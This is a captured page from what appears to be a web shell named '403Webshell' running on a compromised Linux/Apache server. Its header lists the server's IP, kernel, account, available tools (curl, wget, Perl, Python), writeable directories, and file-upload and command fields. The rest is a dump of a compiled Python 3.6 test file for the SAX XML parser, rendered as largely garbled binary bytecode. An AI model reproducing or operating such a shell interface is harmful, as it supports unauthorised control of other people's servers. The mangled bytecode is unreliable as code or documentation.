403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_sax.cpython-36.pyc
3

�w2_ֵ�#@sddlmZmZmZmZmZddlZddlmZy
e�Wnek
rXejd��YnXddl	m
Z
mZmZm
Z
mZmZddlmZddlmZmZddlmZmZmZdd	lmZmZddlZddlZddlZddl Z dd
l!m"Z"ddl#m$Z$ddl%m&Z&m'Z'm(Z(e&d
dd�Z)e&ddd�Z*ye)j+d�e*j+d�Wn e,k
�rVejd��YnXdZ-ej.j/�s�ye$j0j+e$j1�Wne2e3fk
�r�dZ-YnXej4e-d�Z5dZ6Gdd�dej7�Z8dAdd�Z9dBdd�Z:dCdd�Z;Gd d!�d!ej7�Z<Gd"d#�d#ej7�Z=Gd$d%�d%ej7�Z>Gd&d'�d'ej7�Z?Gd(d)�d)�Z@Gd*d+�d+e@ej7�ZAGd,d-�d-e@ej7�ZBGd.d/�d/eB�ZCGd0d1�d1e@ej7�ZDGd2d3�d3e@ej7�ZEd4ZFGd5d6�d6ej7�ZGeHe*d7��ZIeIjJ�ZKWdQRXGd8d9�d9e8�ZLGd:d;�d;ej7�ZMGd<d=�d=e8�ZNd>d?�ZOePd@k�reO�dS)D�)�make_parser�ContentHandler�SAXException�SAXReaderNotAvailable�SAXParseExceptionN)�mockzno XML parsers available)�XMLGenerator�escape�unescape�	quoteattr�
XMLFilterBase�prepare_input_source)�
create_parser)�feature_namespaces�feature_external_ges)�InputSource�AttributesImpl�AttributesNSImpl)�BytesIO�StringIO)�URLError)�support)�findfile�run_unittest�TESTFNztest.xmlZxmltestdata)Zsubdirztest.xml.outzutf-8z!filename is not encodable to utf8TFz$Requires non-ascii filenames supportz%http://www.python.org/xml-ns/saxtest/c@s$eZdZdd�Zdd�Zdd�ZdS)�XmlTestBasecCs|jt|jd�|jt|jd�|jt|jd�|jt|jd�|jt|jd�|j|j�d�|j|j	�g�|j|j
�g�|jt|�d�|jd|�|jt
|j��g�|j|jd�d�|j|jdd�d�|jt
|j��g�|jt
|j��g�dS)N�attrr�attrs�)�assertRaises�KeyError�getValue�getValueByQName�getNameByQName�getQNameByName�__getitem__�assertEqual�	getLength�getNames�	getQNames�len�assertNotIn�list�keys�get�items�values)�selfr�r2�2/opt/alt/python36/lib64/python3.6/test/test_sax.py�verify_empty_attrs2szXmlTestBase.verify_empty_attrscCs|jt|jtdf�|jt|jd�|jt|jd�|jt|jtdf�|jt|jtdf�|j|j	�d�|j|j
�g�|j|j�g�|jt|�d�|j
tdf|�|jt|j��g�|j|jtdf�d�|j|jtdfd�d�|jt|j��g�|jt|j��g�dS)Nrzns:attrrr)rr r!�ns_urir"r#r$r%r&r'r(r)r*r+r,r-r.r/r0)r1rr2r2r3�verify_empty_nsattrsCsz XmlTestBase.verify_empty_nsattrscCs|j|j�d�|j|j�dg�|j|j�dg�|jt|�d�|jd|�|jt|j��dg�|j|jd�d�|j|jdd�d�|jt|j	��dg�|jt|j
��dg�|j|jd�d�|j|jd�d�|j|j
d�d�|j|dd�|j|jd�d�dS)N�r�valr)rr8)r&r'r(r)r*�assertInr,r-r.r/r0r!r"r#r$)r1rr2r2r3�verify_attrs_wattrTszXmlTestBase.verify_attrs_wattrN)�__name__�
__module__�__qualname__r4r6r:r2r2r2r3r1srcCs|dkr|Sd||fS)Nz&<?xml version="1.0" encoding="%s"?>
%sr2)�doc�encodingr2r2r3�xml_strfsr@.cCs|dkr|}t||�j|d�S)N.�xmlcharrefreplace)r@�encode)r>r?�
decl_encodingr2r2r3�	xml_bytesksrDcCs<|dkr|}ttd|dd��}|jt||��WdQRXdS)N.�wrA)r?�errors)�openr�writer@)r>r?rC�fr2r2r3�
make_xml_filepsrJc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�	ParseTestu,<money value="$£€𐅻">$£€𐅻</money>cCstjt�dS)N)r�unlinkr)r1r2r2r3�tearDownzszParseTest.tearDowncCs>ddlm}t�}||t|d��|j|j�t|jd��dS)Nr)�parsezutf-8)�xml.saxrNrrr&�getvaluer@�data)r1rIrN�resultr2r2r3�check_parse}szParseTest.check_parsecCs�d	}x�|D]�}|jtt|j|���t|j|�ttd|d��}|j|�WdQRX|jt|j��t|j|d�ttd|d��}|j|�WdQRXq
WdS)
N�us-ascii�
iso-8859-1�utf-8�utf-16�utf-16le�utf-16be�r)r?)rTrUrVrWrXrY)rSrr@rQrJrGr)r1�	encodingsr?rIr2r2r3�test_parse_text�s
zParseTest.test_parse_textc3Cs0d	}x�|D]�}|jtt|j|���t|j|�|jt�ttd��}|j|�WdQRX|jtt|j|d���t|j|d�|jt�ttd��}|j|�WdQRXq
W|jtt|jdd���t|jdd�|jt�ttd��}|j|�WdQRX|jtt|jdd���t|jdd�|jt�ttd��}|j|�WdQRX|jtt|jd���t|jd�|jt�ttd��}|j|�WdQRX|jt��|jtt|jdd���WdQRXt|jdd�|jt��|jt�WdQRXttd��&}|jt��|j|�WdQRXWdQRXdS)
N�us-ascii�utf-8�utf-16�utf-16le�utf-16be�rbz	utf-8-sigz
iso-8859-1)r]r^r_r`ra)	rSrrDrQrJrrGrr)r1r[r?rIr2r2r3�test_parse_bytes�sF





"zParseTest.test_parse_bytesc	CsLt|jdd�ttd��*}t�}|j|�|jd�|j|�WdQRXdS)Nz
iso-8859-1rb)rJrQrGrr�
setByteStreamZsetEncodingrS)r1rI�inputr2r2r3�test_parse_InputSource�s

z ParseTest.test_parse_InputSourcecsnt�d���fdd�}tjd|d��@t|jdd�|jt��|jt�WdQRX|j	�j
�WdQRXdS)Ncs�|���S)Nr2)�args)�builtin_open�fileobjr2r3�	mock_open�sz4ParseTest.test_parse_close_source.<locals>.mock_openzxml.sax.saxutils.open)Zside_effectz
iso-8859-1)rGrZpatchrJrQrrrSr�
assertTrue�closed)r1rjr2)rhrir3�test_parse_close_source�sz!ParseTest.test_parse_close_sourcecCs>ddlm}t�}||t|d��|j|j�t|jd��dS)Nr)�parseStringzutf-8)rOrnrrr&rPr@rQ)r1�srnrRr2r2r3�check_parseString�szParseTest.check_parseStringcCs4d}x|D]}|jt|j|��q
W|j|j�dS)N�us-ascii�
iso-8859-1�utf-8�utf-16�utf-16le�utf-16be)rqrrrsrtrurv)rpr@rQ)r1r[r?r2r2r3�test_parseString_text�s

zParseTest.test_parseString_textcCs�d}x2|D]*}|jt|j|��|jt|j|d��q
W|jt|jdd��|jt|jdd��|jt|jd��|jt��|jt|jdd��WdQRXdS)	N�us-ascii�utf-8�utf-16�utf-16le�utf-16bez	utf-8-sigz
iso-8859-1)rxryrzr{r|)rprDrQrr)r1r[r?r2r2r3�test_parseString_bytes�s
z ParseTest.test_parseString_bytesN)
r;r<r=rQrMrSr\rcrfrmrprwr}r2r2r2r3rKws
*	rKc@seZdZdd�ZdS)�MakeParserTestcCspddlm}|�}ddlm}|�}ddlm}|�}ddlm}|�}ddlm}|�}ddlm}|�}dS)Nr)r)rOr)r1r�pr2r2r3�test_make_parser2�sz MakeParserTest.test_make_parser2N)r;r<r=r�r2r2r2r3r~�sr~c@sleZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�SaxutilsTestcCs|jtd�d�dS)NzDonald Duck & CozDonald Duck &amp; Co)r&r	)r1r2r2r3�test_escape_basic
szSaxutilsTest.test_escape_basiccCs|jtd�d�dS)Nz<Donald Duck & Co>z&lt;Donald Duck &amp; Co&gt;)r&r	)r1r2r2r3�test_escape_all
s
zSaxutilsTest.test_escape_allcCs|jtdddi�d�dS)NuHei på deg�åz&aring;zHei p&aring; deg)r&r	)r1r2r2r3�test_escape_extraszSaxutilsTest.test_escape_extracCs|jtd�d�dS)NzDonald Duck &amp; CozDonald Duck & Co)r&r
)r1r2r2r3�test_unescape_basicsz SaxutilsTest.test_unescape_basiccCs|jtd�d�dS)Nz&lt;Donald Duck &amp; Co&gt;z<Donald Duck & Co>)r&r
)r1r2r2r3�test_unescape_alls
zSaxutilsTest.test_unescape_allcCs|jtdddi�d�dS)NuHei på degr�z&aring;zHei p&aring; deg)r&r
)r1r2r2r3�test_unescape_extrasz SaxutilsTest.test_unescape_extracCs|jtdddi�d�dS)Nz	&amp;foo;z&foo;Zsplat)r&r
)r1r2r2r3�test_unescape_amp_extra!sz$SaxutilsTest.test_unescape_amp_extracCs|jtd�d�dS)NzDonald Duck & Coz"Donald Duck &amp; Co")r&r)r1r2r2r3�test_quoteattr_basic%s
z!SaxutilsTest.test_quoteattr_basiccCs|jtd�d�dS)NzIncludes "double" quotesz'Includes "double" quotes')r&r)r1r2r2r3�test_single_quoteattr)s
z"SaxutilsTest.test_single_quoteattrcCs|jtd�d�dS)NzIncludes 'single' quotesz"Includes 'single' quotes")r&r)r1r2r2r3�test_double_quoteattr-s
z"SaxutilsTest.test_double_quoteattrcCs|jtd�d�dS)Nz%Includes 'single' and "double" quotesz1"Includes 'single' and &quot;double&quot; quotes")r&r)r1r2r2r3�test_single_double_quoteattr1s
z)SaxutilsTest.test_single_double_quoteattrcCstdg�}dS)Nzxml.parsers.no_such_parser)r)r1rr2r2r3�test_make_parser6szSaxutilsTest.test_make_parserN)r;r<r=r�r�r�r�r�r�r�r�r�r�r�r�r2r2r2r3r�sr�c@sdeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�PrepareInputSourceTestc	Cs.tj|_t|jd��}|jd�WdQRXdS)NrEzThis was read from a file.)rr�filerGrH)r1Ztmpr2r2r3�setUp>szPrepareInputSourceTest.setUpcCstj|j�dS)N)rrLr�)r1r2r2r3rMCszPrepareInputSourceTest.tearDowncCstd�S)NsThis is a byte stream.)r)r1r2r2r3�make_byte_streamFsz'PrepareInputSourceTest.make_byte_streamcCstd�S)NzThis is a character stream.)r)r1r2r2r3�make_character_streamIsz,PrepareInputSourceTest.make_character_streamcCs&|j|�|j|j�|�|j�dS)N)ZassertIsNotNoner&�read�close)r1�stream�contentr2r2r3�checkContentLs
z#PrepareInputSourceTest.checkContentcCsBt|j�}|j|j��t|�}|j|j��|j|j�d�dS)NzThis is a character stream.)	rr��setCharacterStreamr�r
�assertIsNone�
getByteStreamr��getCharacterStream)r1�src�prepr2r2r3�test_character_streamRs

z,PrepareInputSourceTest.test_character_streamcCsBt|j�}|j|j��t|�}|j|j��|j|j�d�dS)NsThis is a byte stream.)	rr�rdr�r
r�r�r�r�)r1r�r�r2r2r3�test_byte_stream[s

z'PrepareInputSourceTest.test_byte_streamcCs4t|j�}t|�}|j|j��|j|j�d�dS)NsThis was read from a file.)rr�r
r�r�r�r�)r1r�r�r2r2r3�test_system_ides


z%PrepareInputSourceTest.test_system_idcCs,t|j�}|j|j��|j|j�d�dS)NsThis was read from a file.)r
r�r�r�r�r�)r1r�r2r2r3�test_stringns

z"PrepareInputSourceTest.test_stringcCs.t|j��}|j|j��|j|j�d�dS)NsThis is a byte stream.)r
r�r�r�r�r�)r1r�r2r2r3�test_binary_fileus
z'PrepareInputSourceTest.test_binary_filecCs.t|j��}|j|j��|j|j�d�dS)NzThis is a character stream.)r
r�r�r�r�r�)r1r�r2r2r3�test_text_file}s
z%PrepareInputSourceTest.test_text_fileN)r;r<r=r�rMr�r�r�r�r�r�r�r�r�r2r2r2r3r�<s	
	r�c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1S)2�
XmlgenTestcCsP|j�}t|�}|j�|jdi�|jd�|j�|j|j�|jd��dS)Nr>z<doc></doc>)	�ioclassr�
startDocument�startElement�
endElement�endDocumentr&rP�xml)r1rR�genr2r2r3�test_xmlgen_basic�s
zXmlgenTest.test_xmlgen_basiccCsT|j�}t|dd�}|j�|jdi�|jd�|j�|j|j�|jd��dS)NT)�short_empty_elementsr>z<doc/>)	r�rr�r�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_basic_empty�s
z"XmlgenTest.test_xmlgen_basic_emptycCsZ|j�}t|�}|j�|jdi�|jd�|jd�|j�|j|j�|j	d��dS)Nr>�huheiz<doc>huhei</doc>)
r�rr�r��
charactersr�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_content�s

zXmlgenTest.test_xmlgen_contentcCs^|j�}t|dd�}|j�|jdi�|jd�|jd�|j�|j|j�|j	d��dS)NT)r�r>r�z<doc>huhei</doc>)
r�rr�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_content_empty�s

z$XmlgenTest.test_xmlgen_content_emptycCs\|j�}t|�}|j�|jdd�|jdi�|jd�|j�|j|j�|j	d��dS)N�testrQr>z<?test data?><doc></doc>)
r�rr�ZprocessingInstructionr�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_pi�s

zXmlgenTest.test_xmlgen_picCsZ|j�}t|�}|j�|jdi�|jd�|jd�|j�|j|j�|j	d��dS)Nr>z<huhei&z<doc>&lt;huhei&amp;</doc>)
r�rr�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_content_escape�s


z%XmlgenTest.test_xmlgen_content_escapecCs�|j�}t|�}|j�|jdddi�|jdddi�|jd�|jdddi�|jd�|jdddi�|jd�|jd�|j�|j|j�|jd��dS)	Nr>�a�"�e�'z'"z

	zK<doc a='"'><e a="'"></e><e a="'&quot;"></e><e a="&#10;&#13;&#9;"></e></doc>)	r�rr�r�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_attr_escape�s



z"XmlgenTest.test_xmlgen_attr_escapec	Csxd}xn|D]f}|j�}t||d
�}|j�|jddd
i�|jd
�|jd�|j�|j|j�|j	d|d
��q
WdS)N�iso-8859-15�utf-8�	utf-8-sig�utf-16�utf-16be�utf-16le�utf-32�utf-32be�utf-32le)r?r>r�u€u<doc a="€">€</doc>)	r�r�r�r�r�r�r�r�r�)
r�rr�r�r�r�r�r&rPr�)r1r[r?rRr�r2r2r3�test_xmlgen_encoding�s



zXmlgenTest.test_xmlgen_encodingcCsf|j�}t|dd�}|j�|jdddi�|jd�|jd�|j�|j|j�|j	ddd��dS)N�ascii)r?r>r�u€z<doc a="&#8364;">&#8364;</doc>)
r�rr�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_unencodable�s


z"XmlgenTest.test_xmlgen_unencodablecCsZ|j�}t|�}|j�|jdi�|jd�|jd�|j�|j|j�|j	d��dS)Nr>� z<doc> </doc>)
r�rr�r��ignorableWhitespacer�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_ignorables

z XmlgenTest.test_xmlgen_ignorablecCs^|j�}t|dd�}|j�|jdi�|jd�|jd�|j�|j|j�|j	d��dS)NT)r�r>r�z<doc> </doc>)
r�rr�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_ignorable_empty
s

z&XmlgenTest.test_xmlgen_ignorable_emptyc	Cs�d}x�|D]|}|j�}t||d
�}|j�|jddd
i�|jd
j|��|jdj|��|jd�|j�|j	|j
�|jd|d
��q
WdS)N�iso-8859-15�utf-8�	utf-8-sig�utf-16�utf-16be�utf-16le�utf-32�utf-32be�utf-32le)r?r>r�u€r�u<doc a="€">€ </doc>)	r�r�r�r�r�r�r�r�r�)r�rr�r�r�rBr�r�r�r&rPr�)r1r[r?rRr�r2r2r3�test_xmlgen_encoding_bytess


z%XmlgenTest.test_xmlgen_encoding_bytescCs�|j�}t|�}|j�|jdt�|jtdfdi�|jddi�|jdd�|jtdfd�|jd�|j�|j	|j
�|jdt��dS)N�ns1r>zns1:doc�udocz/<ns1:doc xmlns:ns1="%s"><udoc></udoc></ns1:doc>)Nr�)Nr�)r�rr��startPrefixMappingr5�startElementNS�endElementNS�endPrefixMappingr�r&rPr�)r1rRr�r2r2r3�test_xmlgen_ns+s
zXmlgenTest.test_xmlgen_nscCs�|j�}t|dd�}|j�|jdt�|jtdfdi�|jddi�|jd	d�|jtdfd�|jd�|j�|j	|j
�|jdt��dS)
NT)r�r�r>zns1:docr�z)<ns1:doc xmlns:ns1="%s"><udoc/></ns1:doc>)Nr�)Nr�)r�rr�r�r5r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_xmlgen_ns_empty=s
zXmlgenTest.test_xmlgen_ns_emptycCsX|j�}t|�}|j�|jddddi�|jdd�|j�|j|j�|jd��dS)Nr��b�cz
<a b="c"></a>)Nr�)Nr�)Nr�)	r�rr�r�r�r�r&rPr�)r1rRr�r2r2r3�test_1463026_1OszXmlgenTest.test_1463026_1cCs\|j�}t|dd�}|j�|jddddi�|jd	d�|j�|j|j�|jd��dS)
NT)r�r�r�r�z
<a b="c"/>)Nr�)Nr�)Nr�)	r�rr�r�r�r�r&rPr�)r1rRr�r2r2r3�test_1463026_1_emptyZszXmlgenTest.test_1463026_1_emptycCsj|j�}t|�}|j�|jdd�|jddi�|jdd�|jd�|j�|j|j	�|j
d��dS)N�quxr�z<a xmlns="qux"></a>)r�r�)r�r�)r�rr�r�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_1463026_2es
zXmlgenTest.test_1463026_2cCsn|j�}t|dd�}|j�|jdd�|jddi�|jdd�|jd�|j�|j|j	�|j
d��dS)NT)r�r�r�z<a xmlns="qux"/>)r�r�)r�r�)r�rr�r�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_1463026_2_emptyrs
zXmlgenTest.test_1463026_2_emptycCsn|j�}t|�}|j�|jdd�|jddddi�|jd	d�|jd�|j�|j|j	�|j
d��dS)
N�myr�r�r�r�z"<my:a xmlns:my="qux" b="c"></my:a>)r�r�)Nr�)r�r�)r�rr�r�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_1463026_3s

zXmlgenTest.test_1463026_3cCsr|j�}t|dd�}|j�|jdd�|jd	dd
di�|jdd�|jd�|j�|j|j	�|j
d��dS)NT)r�r�r�r�r�r�z<my:a xmlns:my="qux" b="c"/>)r�r�)Nr�)r�r�)r�rr�r�r�r�r�r�r&rPr�)r1rRr�r2r2r3�test_1463026_3_empty�s

zXmlgenTest.test_1463026_3_emptycCsXtd�}t�}|jtd�|j�}t|�}|j|�|j|�|j|j	�|j
d��dS)Nzb<?xml version="1.0"?><a:g1 xmlns:a="http://example.com/ns"><a:g2 xml:lang="en">Hello</a:g2></a:g1>TzM<a:g1 xmlns:a="http://example.com/ns"><a:g2 xml:lang="en">Hello</a:g2></a:g1>)rr�
setFeaturerr�r�setContentHandlerrNr&rPr�)r1Ztest_xml�parserrRr�r2r2r3�test_5027_1�s


zXmlgenTest.test_5027_1cCs�|j�}t|�}|j�|jdd�|jd
di�ddi}|jdd|�|jd�|jd
d�|jdd�|jd�|j�|j	|j
�|jd	��dS)Nr��http://example.com/ns�g1�$http://www.w3.org/XML/1998/namespace�langZen�g2�HellozM<a:g1 xmlns:a="http://example.com/ns"><a:g2 xml:lang="en">Hello</a:g2></a:g1>)r�r�)r�r�)r�r�)r�r�)r�r�)r�rr�r�r�r�r�r�r�r&rPr�)r1rRr�Z	lang_attrr2r2r3�test_5027_2�s


zXmlgenTest.test_5027_2cCs(|j�}dd�}||�|j|j�dS)NcSs t|�}|j�|jdi�dS)Nr>)rr�r�)�outr�r2r2r3�func�sz+XmlgenTest.test_no_close_file.<locals>.func)r�ZassertFalserl)r1rRr�r2r2r3�test_no_close_file�szXmlgenTest.test_no_close_filecCsz|j�}t|�}|jdddi�|jd�|jd�|jdddi�|jd�|j|j�|jd�t|jd	��d��dS)
NZfoor�z1.0r�Zbarr�z2.0z+<foo a="1.0">Hello</foo><bar b="2.0"></bar>�)	r�rr�r�r�r&rPr�r*)r1rRr�r2r2r3�test_xmlgen_fragment�s



zXmlgenTest.test_xmlgen_fragmentN)r;r<r=r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r2r2r2r3r��s0






	r�c@seZdZeZddd�ZdZdS)�StringXmlgenTest�
iso-8859-1cCsd||fS)Nz&<?xml version="1.0" encoding="%s"?>
%sr2)r1r>r?r2r2r3r��szStringXmlgenTest.xmlN)r�)r;r<r=rr�r�r�r2r2r2r3r��s
r�c@seZdZeZddd�ZdS)�BytesXmlgenTest�
iso-8859-1cCsd||fj|d�S)Nz&<?xml version="1.0" encoding="%s"?>
%srA)rB)r1r>r?r2r2r3r��szBytesXmlgenTest.xmlN)r�)r;r<r=rr�r�r2r2r2r3r��sr�c@seZdZGdd�de�ZdS)�WriterXmlgenTestc@s.eZdZejZdZdd�Zdd�Zdd�Z	dS)	zWriterXmlgenTest.ioclassFcCsdS)NTr2)r1r2r2r3�seekable�sz!WriterXmlgenTest.ioclass.seekablecCst|�S)N)r*)r1r2r2r3�tellszWriterXmlgenTest.ioclass.tellcCs
dj|�S)N�)�join)r1r2r2r3rPsz!WriterXmlgenTest.ioclass.getvalueN)
r;r<r=r,�appendrHrlr�r�rPr2r2r2r3r��s
r�N)r;r<r=r,r�r2r2r2r3r��sr�c@seZdZdd�Zddd�ZdS)�StreamWriterXmlgenTestcCs"t�}tjd�|d�}|j|_|S)Nr�rA)r�codecs�	getwriterrP)r1�raw�writerr2r2r3r�szStreamWriterXmlgenTest.ioclass�
iso-8859-1cCsd||fjdd�S)Nz&<?xml version="1.0" encoding="%s"?>
%sr�rA)rB)r1r>r?r2r2r3r�szStreamWriterXmlgenTest.xmlN)r)r;r<r=r�r�r2r2r2r3rsrc@s(eZdZejdZdd�Zddd�ZdS)	�StreamReaderWriterXmlgenTestz-codecscsDtj�jddddd����fdd�}�j|��fdd	�}|�_�S)
NrEr�rAr)r?rF�	bufferingcs�j�tj�j�dS)N)r�rrL�fnamer2)r1rr2r3�cleanupsz5StreamReaderWriterXmlgenTest.ioclass.<locals>.cleanupc	s(�j�t�jd��
}|j�SQRXdS)Nrb)r�rG�namer�)rI)rr2r3rPsz6StreamReaderWriterXmlgenTest.ioclass.<locals>.getvalue)rrGr
�
addCleanuprP)r1rrPr2)r1rr3r�s

z$StreamReaderWriterXmlgenTest.ioclass�
iso-8859-1cCsd||fjdd�S)Nz&<?xml version="1.0" encoding="%s"?>
%sr�rA)rB)r1r>r?r2r2r3r�$sz StreamReaderWriterXmlgenTest.xmlN)r)r;r<r=rrr
r�r�r2r2r2r3rs
rs,<?xml version="1.0" encoding="iso-8859-1"?>
c@seZdZdd�ZdS)�XMLFilterBaseTestcCspt�}t|�}t�}|j|�|j�|jdi�|jd�|jd�|jd�|j	�|j
|j�td�dS)Nr>r�r�s<doc>content </doc>)
rrrr�r�r�r�r�r�r�r&rP�start)r1rRr��filterr2r2r3�test_filter_basic,s



z#XMLFilterBaseTest.test_filter_basicN)r;r<r=rr2r2r2r3r+srrbc@seZdZdd�Zdd�Zedd��Zdd�Zd	d
�ZGdd�d�Z	Gd
d�d�Z
dd�Zdd�Zdd�Z
Gdd�d�Zdd�Zdd�ZGdd�de�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zed)d*��Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zed7d8��Z d9S):�ExpatReaderTestc
CsRt�}t�}t|�}|j|�ttd��}|j|�WdQRX|j|j�t	�dS)Nrb)
rrrr�rG�TEST_XMLFILErNr&rP�xml_test_out)r1r�rR�xmlgenrIr2r2r3�test_expat_binary_fileHs
z&ExpatReaderTest.test_expat_binary_filec
CsVt�}t�}t|�}|j|�ttddd��}|j|�WdQRX|j|j�t	�dS)N�rtz
iso-8859-1)r?)
rrrr�rGrrNr&rPr)r1r�rRrrIr2r2r3�test_expat_text_fileSs
z$ExpatReaderTest.test_expat_text_filecCsbtj}tjt|�|jtj|�t�}t�}t	|�}|j
|�|jt|d��|j
|j�t�dS)Nrb)r�TESTFN_UNICODE�shutil�copyfilerr
rLrrrr�rNrGr&rPr)r1r
r�rRrr2r2r3�test_expat_binary_file_nonascii^s
z/ExpatReaderTest.test_expat_binary_file_nonasciic
Cs\tjt�}t�}t�}t|�}|j|�t|d��}|j|�WdQRX|j	|j
�t�dS)Nrb)�os�fsencoderrrrr�rGrNr&rPr)r1r
r�rRrrIr2r2r3�!test_expat_binary_file_bytes_namems

z1ExpatReaderTest.test_expat_binary_file_bytes_namecCspt�}t�}t|�}|j|�ttd��.}t|j�ddd��}|j|�WdQRXWdQRX|j|j	�t
�dS)NrbF)�closefd)rrrr�rGr�filenorNr&rPr)r1r�rRrrI�f2r2r2r3�test_expat_binary_file_int_nameys
z/ExpatReaderTest.test_expat_binary_file_int_namec@s$eZdZdd�Zdd�Zdd�ZdS)zExpatReaderTest.TestDTDHandlercCsg|_g|_dS)N)�
_notations�	_entities)r1r2r2r3�__init__�sz'ExpatReaderTest.TestDTDHandler.__init__cCs|jj|||f�dS)N)r%r)r1r�publicId�systemIdr2r2r3�notationDecl�sz+ExpatReaderTest.TestDTDHandler.notationDeclcCs|jj||||f�dS)N)r&r)r1rr(r)Zndatar2r2r3�unparsedEntityDecl�sz1ExpatReaderTest.TestDTDHandler.unparsedEntityDeclN)r;r<r=r'r*r+r2r2r2r3�TestDTDHandler�sr,c@seZdZdd�Zdd�ZdS)z"ExpatReaderTest.TestEntityRecordercCs
g|_dS)N)�entities)r1r2r2r3r'�sz+ExpatReaderTest.TestEntityRecorder.__init__cCs.|jj||f�t�}|j|�|j|�|S)N)r-rrZsetPublicId�setSystemId)r1r(r)�sourcer2r2r3�
resolveEntity�s


z0ExpatReaderTest.TestEntityRecorder.resolveEntityN)r;r<r=r'r0r2r2r2r3�TestEntityRecorder�sr1cCsvt�}|j�}|j|�|jd�|jd�|jd�|jd�|jd�|j�|j|jd
g�|j|jdg�dS)Nz<!DOCTYPE doc [
z-  <!ENTITY img SYSTEM "expat.gif" NDATA GIF>
zW  <!NOTATION GIF PUBLIC "-//CompuServe//NOTATION Graphics Interchange Format 89a//EN">
z]>
z<doc></doc>�GIF�;-//CompuServe//NOTATION Graphics Interchange Format 89a//EN�img�	expat.gif)r2r3N)r4Nr5r2)rr,Z
setDTDHandler�feedr�r&r%r&)r1r�Zhandlerr2r2r3�test_expat_dtdhandler�s





z%ExpatReaderTest.test_expat_dtdhandlercCsXt�}|jtd�|j�}|j|�|jt��|jd�WdQRX|j|j	dg�dS)NTz8<!DOCTYPE external SYSTEM "unsupported://non-existing">
�unsupported://non-existing)Nr8)
rr�rr1�setEntityResolverrrr6r&r-)r1r��resolverr2r2r3�test_expat_external_dtd_enabled�s
z/ExpatReaderTest.test_expat_external_dtd_enabledcCsFt�}|j�}|j|�|jd�|jd�|j�|j|jg�dS)Nz8<!DOCTYPE external SYSTEM "unsupported://non-existing">
z<doc />)rr1r9r6r�r&r-)r1r�r:r2r2r3�test_expat_external_dtd_default�s

z/ExpatReaderTest.test_expat_external_dtd_defaultc@seZdZdd�ZdS)z"ExpatReaderTest.TestEntityResolvercCst�}|jtd��|S)Ns	<entity/>)rrdr)r1r(r)�inpsrcr2r2r3r0�sz0ExpatReaderTest.TestEntityResolver.resolveEntityN)r;r<r=r0r2r2r2r3�TestEntityResolver�sr>cCs|t�}|jtd�|j|j��t�}|jt|��|jd�|jd�|jd�|jd�|j	�|j
|j�td�dS)NTz<!DOCTYPE doc [
z#  <!ENTITY test SYSTEM "whatever">
z]>
z<doc>&test;</doc>s<doc><entity></entity></doc>)
rr�rr9r>rr�rr6r�r&rPr)r1r�rRr2r2r3�!test_expat_entityresolver_enabled�s



z1ExpatReaderTest.test_expat_entityresolver_enabledcCs�t�}|j|jt�d�|j|j��t�}|jt|��|j	d�|j	d�|j	d�|j	d�|j
�|j|j�td�dS)NFz<!DOCTYPE doc [
z#  <!ENTITY test SYSTEM "whatever">
z]>
z<doc>&test;</doc>s<doc></doc>)
rr&Z
getFeaturerr9r>rr�rr6r�rPr)r1r�rRr2r2r3�!test_expat_entityresolver_default�s



z1ExpatReaderTest.test_expat_entityresolver_defaultc@seZdZdd�Zdd�ZdS)zExpatReaderTest.AttrGatherercCs
||_dS)N)�_attrs)r1rrr2r2r3r��sz)ExpatReaderTest.AttrGatherer.startElementcCs
||_dS)N)rA)r1rZqnamerr2r2r3r��sz+ExpatReaderTest.AttrGatherer.startElementNSN)r;r<r=r�r�r2r2r2r3�AttrGatherer�srBcCs:t�}|j�}|j|�|jd�|j�|j|j�dS)Nz<doc/>)rrBr�r6r�r4rA)r1r��gatherr2r2r3�test_expat_attrs_empty�s

z&ExpatReaderTest.test_expat_attrs_emptycCs:t�}|j�}|j|�|jd�|j�|j|j�dS)Nz<doc attr='val'/>)rrBr�r6r�r:rA)r1r�rCr2r2r3�test_expat_attrs_wattrs

z&ExpatReaderTest.test_expat_attrs_wattrcCs<td�}|j�}|j|�|jd�|j�|j|j�dS)Nr7z<doc/>)rrBr�r6r�r6rA)r1r�rCr2r2r3�test_expat_nsattrs_emptys

z(ExpatReaderTest.test_expat_nsattrs_emptycCs,td�}|j�}|j|�|jdt�|j�|j}|j|j�d�|j|j	�tdfg�|j
|j�gkpx|j�dgk�|jt|�d�|j
